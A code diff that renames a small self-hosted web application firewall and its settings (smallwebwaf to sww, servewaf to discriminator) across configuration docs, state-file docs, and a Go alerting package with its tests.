-e SWWAF_METRICS_TOKEN_FILE=/etc/smallwebwaf/tokens/metrics \ -e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
... ...
``` ```
@@ -333,41 +391,42 @@ A few limits are fixed rather than settings:
- at most 1,000 DNS blocklist queries are under way at once; - at most 1,000 DNS blocklist queries are under way at once;
- at most 20,000 anomaly counters are kept; - at most 20,000 anomaly counters are kept;
- each alert destination's queue holds at most 1,000 alerts; - each alert destination's queue holds at most 1,000 alerts;
- `servewaf` holds at most 10,000 answered requests awaiting their reports; - `discriminator` holds at most 10,000 answered requests awaiting their reports;
- `servewaf` refuses a request with more than 50 cookies or more than 100 header - `discriminator` refuses a request with more than 50 cookies or more than 100
fields (see "Answering in time" under "`servewaf`" in header fields (see "Answering in time" under "`discriminator`" in
[`SPEC.md`](../SPEC.md)); [`SPEC.md`](../SPEC.md));
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a - `rproxy` takes a request line and headers of at most 32 KiB, and closes a
kept-open connection idle for 120 seconds; kept-open connection idle for 120 seconds;
- `rproxy` reads at most 1 MiB of the body of `servewaf`'s answer, and answers - `rproxy` reads at most 1 MiB of the body of `discriminator`'s answer, and
`502` to a longer one. answers `502` to a longer one.
## `servewaf`'s answer and `rproxy`'s wait ## `discriminator`'s answer and `rproxy`'s wait
`SWWAF_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. `SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
Keep it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
waits for `SWWAF_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
asked in the background (see "Answering in time" under "`servewaf`" in in the background (see "Answering in time" under "`discriminator`" in
[`SPEC.md`](../SPEC.md)). [`SPEC.md`](../SPEC.md)).
## `rproxy` ## `rproxy`
`smallwebwaf rproxy` reads the settings below and no others. They are read once `sww rproxy` reads the settings below and no others. They are read once at
at start, and an invalid value stops the start. None can be given as a file, start, and an invalid value stops the start. None can be given as a file, since
since `rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says `rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
what they do. they do.
A time here is a whole number of milliseconds above zero, such as `2000`. A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWRP_WAF_BACKEND` (required, no default): `servewaf`'s URL. An `http` or - `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy` `https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it. speaks HTTP/1.1 to it.
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for `servewaf`'s - `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
answer, to a question and to a report. A time; never `off`. `discriminator`'s answer, to a question and to a report. A time; never `off`.
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when - `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
`servewaf` cannot be connected to, does not answer at all, or does not answer `discriminator` cannot be connected to, does not answer at all, or does not
within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny` answers answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
`503`. It does not apply to an answer `servewaf` gives, such as an error. answers `503`. It does not apply to an answer `discriminator` gives, such as
an error.
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or - `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
`off`. `off`.
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or - `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
@@ -391,22 +450,22 @@ A time here is a whole number of milliseconds above zero, such as `2000`.
## The image's command ## The image's command
`SMALLWEBWAF_COMMAND` (default `rproxy`) chooses what the image runs and what `SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
its health check checks: `rproxy` or `servewaf` (see "Deployment" in check checks: `rproxy` or `discriminator` (see "Deployment" in
[`SPEC.md`](../SPEC.md)). It cannot be given as a file. [`SPEC.md`](../SPEC.md)). It cannot be given as a file.
## Where earlier settings went ## Where earlier settings went
Nothing reads these names any more: Nothing reads these names any more:
- `SWWAF_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`. - `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
- `SWWAF_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`. - `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
- `SWWAF_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`. - `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
- `SWWAF_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`. - `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
- `SWWAF_CLIENT_REQUEST_TIMEOUT` and `SWWAF_UPSTREAM_REQUEST_TIMEOUT` are - `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds. `SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
- `SWWAF_CLIENT_RESPONSE_TIMEOUT` and `SWWAF_UPSTREAM_RESPONSE_TIMEOUT` are - `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds. `SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
- `SWWAF_CLIENT_IDLE_TIMEOUT` and `SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES` have - `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
no setting. `rproxy` closes a kept-open connection idle for 120 seconds, and setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
takes a request line and headers of at most 32 KiB. takes a request line and headers of at most 32 KiB.
+11 -10
View File
@@ -1,13 +1,13 @@
# State files # State files
The five JSON files in `SWWAF_STATE_DIR`, and what each holds. "Persistent The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
state" in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
Each has a top-level `version` of 1. a top-level `version` of 1.
## `bans.json` ## `bans.json`
Active and past bans: every ban an admin made, and up to `SWWAF_MAX_BANS` of Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
those `servewaf` made. Per entry: `discriminator` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban); - `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit`, `admin` or `crowdsec`; - `cause`: `attack`, `limit`, `admin` or `crowdsec`;
@@ -61,10 +61,11 @@ since it was first seen:
- the first and last time seen; - the first and last time seen;
- the AS number, AS name and country last looked up, and when; - the AS number, AS name and country last looked up, and when;
- total requests, and how many were forwarded and how many refused; - total requests, and how many were forwarded and how many refused;
- bytes in each direction; - body bytes of its requests, and of the responses it was sent;
- responses by status class; - responses by status class;
- offences by kind: `limit`, `attack`, `rule_blocked` and `waf_blocked`. A file - offences by kind: `limit`, `attack`, `blocked_by_block_rule` and
may also hold `token_refused`, which is kept, and which nothing adds to. `blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
kept, and which nothing adds to.
## `lookups.json` ## `lookups.json`
@@ -93,10 +94,10 @@ GeoJS answers, one per line:
## Sizes ## Sizes
- `clients.json`: about 1 KiB per client, about 20 MiB at the default - `clients.json`: about 1 KiB per client, about 20 MiB at the default
`SWWAF_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of `SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
disk writes a day. disk writes a day.
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at - `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
the default `SWWAF_MAX_BANS`. Written every 15 minutes, a full file comes to the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
more. more.
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when - `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
+48 -46
View File
@@ -1,12 +1,12 @@
// Package alerts sends alerts on bans, on traffic over an anomaly // Package alerts sends alerts on bans, on traffic over an anomaly
// threshold, on a source that fails and on a file with an error to each // threshold, on a source that fails and on a file with an error to each
// destination set: to the webhook // destination set: to the webhook
// SWWAF_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON // SWW_ALERT_WEBHOOK_URL names, each as one JSON object, as "The JSON
// object" in docs/alerts.md describes, to the Slack incoming // object" in docs/alerts.md describes, to the Slack incoming
// webhook SWWAF_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the // webhook SWW_ALERT_SLACK_WEBHOOK_URL names, as a message, and to the
// ntfy topic SWWAF_ALERT_NTFY_URL names. A repeat within // ntfy topic SWW_ALERT_NTFY_URL names. A repeat within
// SWWAF_ALERT_COOLDOWN is held back, and so is an alert past // SWW_ALERT_COOLDOWN is held back, and so is an alert past
// SWWAF_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a // SWW_ALERT_MAX_PER_HOUR, for the hour's summary. The others wait in a
// bounded queue of each destination's own, so that a destination that is // bounded queue of each destination's own, so that a destination that is
// slow or unreachable holds up neither the others nor any request. The // slow or unreachable holds up neither the others nor any request. The
// state is written to alerts.json and read from it by the state package. // state is written to alerts.json and read from it by the state package.
@@ -34,45 +34,45 @@ import (
"time" "time"
) )
// The events an alert is for, as SWWAF_ALERT_EVENTS names them. // The events an alert is for, as SWW_ALERT_EVENTS names them.
const ( const (
// EventBan is a ban smallwebwaf made. // EventBan is a ban sww made.
EventBan = "ban" EventBan = "ban"
// EventPermanentBan is a permanent ban smallwebwaf made, or a ban it // EventPermanentBan is a permanent ban sww made, or a ban it
// made permanent. // made permanent.
EventPermanentBan = "permanent_ban" EventPermanentBan = "permanent_ban"
// EventAnomaly is a count of requests or bytes over an anomaly // EventAnomaly is a count of requests or bytes over an anomaly
// threshold. // threshold.
EventAnomaly = "anomaly" EventAnomaly = "anomaly"
// EventWAFBlock is a request the Core Rule Set scored at or over // EventCoreRuleSetMatch is a request the Core Rule Set scored at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in // SWW_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
// detect mode. // detect mode.
EventWAFBlock = "waf_block" EventCoreRuleSetMatch = "core_rule_set_match"
// EventReputationHit is a request whose client a blocklist, the // EventReputationHit is a request whose client a blocklist, the
// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score // CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score
// is a hit. // is a hit.
EventReputationHit = "reputation_hit" EventReputationHit = "reputation_hit"
// EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch // EventSourceFailure is GeoJS failing or refusing sww, a fetch
// of a list failing, a query to a DNSBL zone or a check with AbuseIPDB // of a list failing, a query to a DNSBL zone or a check with AbuseIPDB
// failing or refused, or the day's AbuseIPDB checks used up. // failing or refused, or the day's AbuseIPDB checks used up.
EventSourceFailure = "source_failure" EventSourceFailure = "source_failure"
// EventFileError is a rule file or state file edited while smallwebwaf // EventFileError is a rule file or state file edited while sww
// runs that does not parse, a replacement of the lookup database that // runs that does not parse, a replacement of the lookup database that
// cannot be read, or a state file that cannot be written. // cannot be read, or a state file that cannot be written.
EventFileError = "file_error" EventFileError = "file_error"
// EventSummary is the summary sent as an hour ends: of the alerts held // EventSummary is the summary sent as an hour ends: of the alerts held
// back in it past SWWAF_ALERT_MAX_PER_HOUR, and of the repeats held // back in it past SWW_ALERT_MAX_PER_HOUR, and of the repeats held
// back by the cooldowns dropped as it ends, which no alert let through // back by the cooldowns dropped as it ends, which no alert let through
// has given. It is sent with SWWAF_ALERT_MAX_PER_HOUR off too, for // has given. It is sent with SWW_ALERT_MAX_PER_HOUR off too, for
// those repeats. SWWAF_ALERT_EVENTS does not name it. // those repeats. SWW_ALERT_EVENTS does not name it.
EventSummary = "summary" EventSummary = "summary"
) )
// Events returns every event SWWAF_ALERT_EVENTS can name, which is its // Events returns every event SWW_ALERT_EVENTS can name, which is its
// default. // default.
func Events() []string { func Events() []string {
return []string{ return []string{
EventBan, EventPermanentBan, EventWAFBlock, EventAnomaly, EventBan, EventPermanentBan, EventCoreRuleSetMatch, EventAnomaly,
EventReputationHit, EventSourceFailure, EventFileError, EventReputationHit, EventSourceFailure, EventFileError,
} }
} }
@@ -80,12 +80,12 @@ func Events() []string {
// The destinations alerts are sent to, as the metrics and alerts.json // The destinations alerts are sent to, as the metrics and alerts.json
// name them. // name them.
const ( const (
// DestinationWebhook is the webhook SWWAF_ALERT_WEBHOOK_URL names. // DestinationWebhook is the webhook SWW_ALERT_WEBHOOK_URL names.
DestinationWebhook = "webhook" DestinationWebhook = "webhook"
// DestinationSlack is the Slack incoming webhook // DestinationSlack is the Slack incoming webhook
// SWWAF_ALERT_SLACK_WEBHOOK_URL names. // SWW_ALERT_SLACK_WEBHOOK_URL names.
DestinationSlack = "slack" DestinationSlack = "slack"
// DestinationNtfy is the ntfy topic SWWAF_ALERT_NTFY_URL names. // DestinationNtfy is the ntfy topic SWW_ALERT_NTFY_URL names.
DestinationNtfy = "ntfy" DestinationNtfy = "ntfy"
) )
@@ -121,26 +121,26 @@ var (
// NtfyURL set, no alert is sent. // NtfyURL set, no alert is sent.
type Params struct { type Params struct {
// WebhookURL is where each alert is posted as JSON // WebhookURL is where each alert is posted as JSON
// (SWWAF_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders // (SWW_ALERT_WEBHOOK_URL), nil while it is unset. WebhookHeaders
// are sent with each (SWWAF_ALERT_WEBHOOK_HEADERS). // are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
WebhookURL *url.URL WebhookURL *url.URL
WebhookHeaders http.Header WebhookHeaders http.Header
// SlackURL is the Slack incoming webhook each alert is posted to as a // SlackURL is the Slack incoming webhook each alert is posted to as a
// message (SWWAF_ALERT_SLACK_WEBHOOK_URL), nil while it is unset. // message (SWW_ALERT_SLACK_WEBHOOK_URL), nil while it is unset.
SlackURL *url.URL SlackURL *url.URL
// NtfyURL is the ntfy topic each alert is published to // NtfyURL is the ntfy topic each alert is published to
// (SWWAF_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless // (SWW_ALERT_NTFY_URL), nil while it is unset. NtfyToken, unless
// empty, is sent with each as a bearer token (SWWAF_ALERT_NTFY_TOKEN). // empty, is sent with each as a bearer token (SWW_ALERT_NTFY_TOKEN).
NtfyURL *url.URL NtfyURL *url.URL
NtfyToken string NtfyToken string
// Events are the events alerts are sent for (SWWAF_ALERT_EVENTS). // Events are the events alerts are sent for (SWW_ALERT_EVENTS).
Events []string Events []string
// Cooldown is how long a repeat of an alert is held back // Cooldown is how long a repeat of an alert is held back
// (SWWAF_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts // (SWW_ALERT_COOLDOWN), 0 for no time. MaxPerHour is the most alerts
// sent in an hour (SWWAF_ALERT_MAX_PER_HOUR), 0 for no limit. // sent in an hour (SWW_ALERT_MAX_PER_HOUR), 0 for no limit.
Cooldown time.Duration Cooldown time.Duration
MaxPerHour int MaxPerHour int
// Instance is SWWAF_INSTANCE_NAME, which every alert gives. // Instance is SWW_INSTANCE_NAME, which every alert gives.
Instance string Instance string
// Now tells the time of an alert, normally time.Now in UTC. // Now tells the time of an alert, normally time.Now in UTC.
Now func() time.Time Now func() time.Time
@@ -151,7 +151,7 @@ type Params struct {
// Alert is one alert, as the webhook is sent it and alerts.json holds it, // Alert is one alert, as the webhook is sent it and alerts.json holds it,
// with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and // with the fields of "The JSON object" in docs/alerts.md. ASN, ASName and
// Country are, for a ban, the client's as the ban's notes give them. Host is // Country are, for a ban, the client's as the ban's notes give them. Host is
// the site of the request that raised the alert, while one servewaf serves // the site of the request that raised the alert, while one discriminator serves
// many sites, and "" otherwise. // many sites, and "" otherwise.
// //
//nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case //nolint:tagliatelle // docs/alerts.md names the alert's fields in snake_case
@@ -220,7 +220,7 @@ type State struct {
// requests to it failed, and how many alerts were dropped from its full // requests to it failed, and how many alerts were dropped from its full
// queue or given up as it refused them. // queue or given up as it refused them.
type Counts struct { type Counts struct {
Sent, Failed, Dropped int64 Sent, SendFailures, Dropped int64
} }
// Queue takes the alerts raised, holds back those it must, and sends the // Queue takes the alerts raised, holds back those it must, and sends the
@@ -264,7 +264,7 @@ type destination struct {
// waiting are the alerts waiting to be sent, oldest first. // waiting are the alerts waiting to be sent, oldest first.
waiting []*Alert waiting []*Alert
sent, failed, dropped atomic.Int64 sent, sendFailures, dropped atomic.Int64
} }
// cooldownKey is what makes an alert a repeat of another: the same event // cooldownKey is what makes an alert a repeat of another: the same event
@@ -301,17 +301,17 @@ func New(params Params) *Queue {
} }
if params.WebhookURL != nil { if params.WebhookURL != nil {
q.addDestination(DestinationWebhook, "SWWAF_ALERT_WEBHOOK_URL", q.addDestination(DestinationWebhook, "SWW_ALERT_WEBHOOK_URL",
params.WebhookURL, q.webhookMessage) params.WebhookURL, q.webhookMessage)
} }
if params.SlackURL != nil { if params.SlackURL != nil {
q.addDestination(DestinationSlack, "SWWAF_ALERT_SLACK_WEBHOOK_URL", q.addDestination(DestinationSlack, "SWW_ALERT_SLACK_WEBHOOK_URL",
params.SlackURL, slackMessage) params.SlackURL, slackMessage)
} }
if params.NtfyURL != nil { if params.NtfyURL != nil {
q.addDestination(DestinationNtfy, "SWWAF_ALERT_NTFY_URL", q.addDestination(DestinationNtfy, "SWW_ALERT_NTFY_URL",
params.NtfyURL, q.ntfyMessage) params.NtfyURL, q.ntfyMessage)
} }
@@ -319,7 +319,7 @@ func New(params Params) *Queue {
} }
// Raise sends alert, which names its event and what is particular to it, // Raise sends alert, which names its event and what is particular to it,
// unless no destination is set or SWWAF_ALERT_EVENTS leaves its event // unless no destination is set or SWW_ALERT_EVENTS leaves its event
// out. It gives alert the instance and the time. An alert that repeats // out. It gives alert the instance and the time. An alert that repeats
// the last one let through less than Cooldown before is held back and // the last one let through less than Cooldown before is held back and
// counted. The next one let through gives that count, unless an hour of // counted. The next one let through gives that count, unless an hour of
@@ -363,7 +363,7 @@ func (q *Queue) Raise(alert Alert) {
} }
// WouldSend reports whether Raise would let an alert for event on // WouldSend reports whether Raise would let an alert for event on
// netblock through now: a destination is set, SWWAF_ALERT_EVENTS chooses // netblock through now: a destination is set, SWW_ALERT_EVENTS chooses
// event, no alert for event on netblock was let through less than // event, no alert for event on netblock was let through less than
// Cooldown before, and fewer than MaxPerHour alerts have been let through // Cooldown before, and fewer than MaxPerHour alerts have been let through
// in the hour under way. Unlike Raise, it counts nothing. // in the hour under way. Unlike Raise, it counts nothing.
@@ -426,7 +426,9 @@ func (q *Queue) Counts(name string) Counts {
for _, d := range q.destinations { for _, d := range q.destinations {
if d.name == name { if d.name == name {
return Counts{ return Counts{
Sent: d.sent.Load(), Failed: d.failed.Load(), Dropped: d.dropped.Load(), Sent: d.sent.Load(),
SendFailures: d.sendFailures.Load(),
Dropped: d.dropped.Load(),
} }
} }
} }
@@ -606,13 +608,13 @@ func (q *Queue) endHour(now time.Time) {
if heldBack > 0 { if heldBack > 0 {
reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+ reasons = append(reasons, fmt.Sprintf("%d alerts held back in the hour from %s, "+
"past the %d an hour SWWAF_ALERT_MAX_PER_HOUR allows", heldBack, "past the %d an hour SWW_ALERT_MAX_PER_HOUR allows", heldBack,
q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour)) q.hour.Start.Format(time.RFC3339), q.params.MaxPerHour))
} }
if repeats > 0 { if repeats > 0 {
reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+ reasons = append(reasons, fmt.Sprintf("%d repeats held back by "+
"SWWAF_ALERT_COOLDOWN that no later alert gives", repeats)) "SWW_ALERT_COOLDOWN that no later alert gives", repeats))
} }
if len(reasons) > 0 { if len(reasons) > 0 {
@@ -675,7 +677,7 @@ func (d *destination) run(ctx context.Context) {
retryAt = time.Time{} retryAt = time.Time{}
case errors.Is(err, errRefused): case errors.Is(err, errRefused):
d.remove(alert) d.remove(alert)
d.failed.Add(1) d.sendFailures.Add(1)
d.dropped.Add(1) d.dropped.Add(1)
retryDelay = 0 retryDelay = 0
@@ -683,8 +685,8 @@ func (d *destination) run(ctx context.Context) {
d.processLog.Warn("gave up an alert "+d.setting+" refused", d.processLog.Warn("gave up an alert "+d.setting+" refused",
"event", alert.Event, "error", err.Error()) "event", alert.Event, "error", err.Error())
case ctx.Err() == nil: // not cut off as smallwebwaf stops case ctx.Err() == nil: // not cut off as sww stops
d.failed.Add(1) d.sendFailures.Add(1)
retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay), retryDelay = min(max(retryDelayFactor*retryDelay, firstRetryDelay),
maxRetryDelay) maxRetryDelay)
@@ -871,7 +873,7 @@ func ntfyPriority(event string) string {
return "high" return "high"
case EventReputationHit: case EventReputationHit:
return "low" return "low"
default: // ban, waf_block and summary default: // ban, core_rule_set_match and summary
return "default" return "default"
} }
} }
@@ -882,7 +884,7 @@ func ntfyTag(event string) string {
switch event { switch event {
case EventBan, EventPermanentBan: case EventBan, EventPermanentBan:
return "no_entry" return "no_entry"
case EventWAFBlock: case EventCoreRuleSetMatch:
return "shield" return "shield"
case EventAnomaly: case EventAnomaly:
return "chart_with_upwards_trend" return "chart_with_upwards_trend"
+30 -30
View File
@@ -34,12 +34,12 @@ const (
// webhookURL is where the alerts are posted, slackURL the Slack // webhookURL is where the alerts are posted, slackURL the Slack
// incoming webhook, and ntfyURL the ntfy topic. ntfyToken is the ntfy // incoming webhook, and ntfyURL the ntfy topic. ntfyToken is the ntfy
// token of the tests that set one. // token of the tests that set one.
webhookURL = "https://alerts.example/smallwebwaf?team=ops" webhookURL = "https://alerts.example/sww?team=ops"
slackURL = "https://hooks.slack.example/services/T0123/B4567/abcdef" slackURL = "https://hooks.slack.example/services/T0123/B4567/abcdef"
ntfyURL = "https://ntfy.example/smallwebwaf-alerts" ntfyURL = "https://ntfy.example/sww-alerts"
ntfyToken = "tk_0123456789abcdefghijklmnopq" ntfyToken = "tk_0123456789abcdefghijklmnopq"
// instance is the instance name every alert gives. // instance is the instance name every alert gives.
instance = "fsn1app1/gitea" instance = "fsn1app1/blog"
// started is when each test starts, as an alert gives it, and // started is when each test starts, as an alert gives it, and
// anHourOn an hour later. // anHourOn an hour later.
started = "2000-01-01T00:00:00Z" started = "2000-01-01T00:00:00Z"
@@ -132,7 +132,7 @@ func TestWouldSendOnlyForTheChosenEvents(t *testing.T) {
if q.WouldSend(alerts.EventBan, netblock(1)) || if q.WouldSend(alerts.EventBan, netblock(1)) ||
q.WouldSend(alerts.EventPermanentBan, netblock(1)) { q.WouldSend(alerts.EventPermanentBan, netblock(1)) {
t.Error("a ban alert would be sent, though SWWAF_ALERT_EVENTS leaves it out") t.Error("a ban alert would be sent, though SWW_ALERT_EVENTS leaves it out")
} }
if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) { if !q.WouldSend(alerts.EventFileError, netip.Prefix{}) {
@@ -184,8 +184,8 @@ func TestWouldSendWithOnlySlackOrOnlyNtfySet(t *testing.T) {
onlyNtfy.NtfyURL = parseURL(ntfyURL) onlyNtfy.NtfyURL = parseURL(ntfyURL)
for setting, params := range map[string]alerts.Params{ for setting, params := range map[string]alerts.Params{
"SWWAF_ALERT_SLACK_WEBHOOK_URL": onlySlack, "SWW_ALERT_SLACK_WEBHOOK_URL": onlySlack,
"SWWAF_ALERT_NTFY_URL": onlyNtfy, "SWW_ALERT_NTFY_URL": onlyNtfy,
} { } {
if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) { if !alerts.New(params).WouldSend(alerts.EventBan, netblock(1)) {
t.Errorf("a ban alert would not be sent with only %s set", setting) t.Errorf("a ban alert would not be sent with only %s set", setting)
@@ -359,7 +359,7 @@ func TestAlertsPastTheHourlyLimitAreRolledIntoOneSummary(t *testing.T) {
"as_name": "", "as_name": "",
"country": "", "country": "",
"reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " + "reason": "3 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 2 an hour SWWAF_ALERT_MAX_PER_HOUR allows", "past the 2 an hour SWW_ALERT_MAX_PER_HOUR allows",
"detail": map[string]any{ "detail": map[string]any{
"hour": started, "hour": started,
"count": float64(3), "count": float64(3),
@@ -525,7 +525,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
wantCounts(t, q, 0, int64(len(want)), 0, 0) wantCounts(t, q, 0, int64(len(want)), 0, 0)
if !strings.Contains(log.String(), if !strings.Contains(log.String(),
`"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) { `"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) {
t.Errorf("process log %q names no failure", log.String()) t.Errorf("process log %q names no failure", log.String())
} }
@@ -595,7 +595,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
wantCounts(t, q, 1, 3, 0, 1) wantCounts(t, q, 1, 3, 0, 1)
if !strings.Contains(log.String(), if !strings.Contains(log.String(),
`"msg":"gave up an alert SWWAF_ALERT_WEBHOOK_URL refused"`) { `"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) {
t.Errorf("process log %q names no alert given up", log.String()) t.Errorf("process log %q names no alert given up", log.String())
} }
}) })
@@ -619,7 +619,7 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
logged := log.String() logged := log.String()
if !strings.Contains(logged, if !strings.Contains(logged,
`"msg":"sending an alert to SWWAF_ALERT_WEBHOOK_URL failed"`) || `"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") { strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
t.Errorf("process log %q names no failure, or names the URL", logged) t.Errorf("process log %q names no failure, or names the URL", logged)
} }
@@ -782,8 +782,8 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
} }
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " + const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 1 an hour SWWAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " + "past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
"by SWWAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1" "by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary) wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary) wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
@@ -897,11 +897,11 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
synctest.Wait() synctest.Wait()
wantDestinationCounts(t, q, alerts.DestinationSlack, wantDestinationCounts(t, q, alerts.DestinationSlack,
alerts.Counts{Sent: 3, Failed: 1}) alerts.Counts{Sent: 3, SendFailures: 1})
logged := log.String() logged := log.String()
if !strings.Contains(logged, if !strings.Contains(logged,
`"msg":"sending an alert to SWWAF_ALERT_SLACK_WEBHOOK_URL failed"`) || `"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`) ||
strings.Contains(logged, "hooks.slack.example") || strings.Contains(logged, "hooks.slack.example") ||
strings.Contains(logged, "T0123") { strings.Contains(logged, "T0123") {
t.Errorf("process log %q names no failure, or names the URL", logged) t.Errorf("process log %q names no failure, or names the URL", logged)
@@ -934,7 +934,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
for destination, want := range map[string]alerts.Counts{ for destination, want := range map[string]alerts.Counts{
alerts.DestinationWebhook: {Sent: all}, alerts.DestinationWebhook: {Sent: all},
alerts.DestinationSlack: {Dropped: 1}, alerts.DestinationSlack: {Dropped: 1},
alerts.DestinationNtfy: {Failed: all, Dropped: all}, alerts.DestinationNtfy: {SendFailures: all, Dropped: all},
} { } {
wantDestinationCounts(t, q, destination, want) wantDestinationCounts(t, q, destination, want)
} }
@@ -965,8 +965,8 @@ func TestEachDestinationIsSentOnlyTheAlertsWaitingForIt(t *testing.T) {
synctest.Wait() synctest.Wait()
wantBodies(t, standIns[alerts.DestinationSlack], wantBodies(t, standIns[alerts.DestinationSlack],
`{"text":"*fsn1app1/gitea: file_error*\nsecond"}`, `{"text":"*fsn1app1/blog: file_error*\nsecond"}`,
`{"text":"*fsn1app1/gitea: file_error*\nthird"}`) `{"text":"*fsn1app1/blog: file_error*\nthird"}`)
wantBodies(t, standIns[alerts.DestinationNtfy], "fourth") wantBodies(t, standIns[alerts.DestinationNtfy], "fourth")
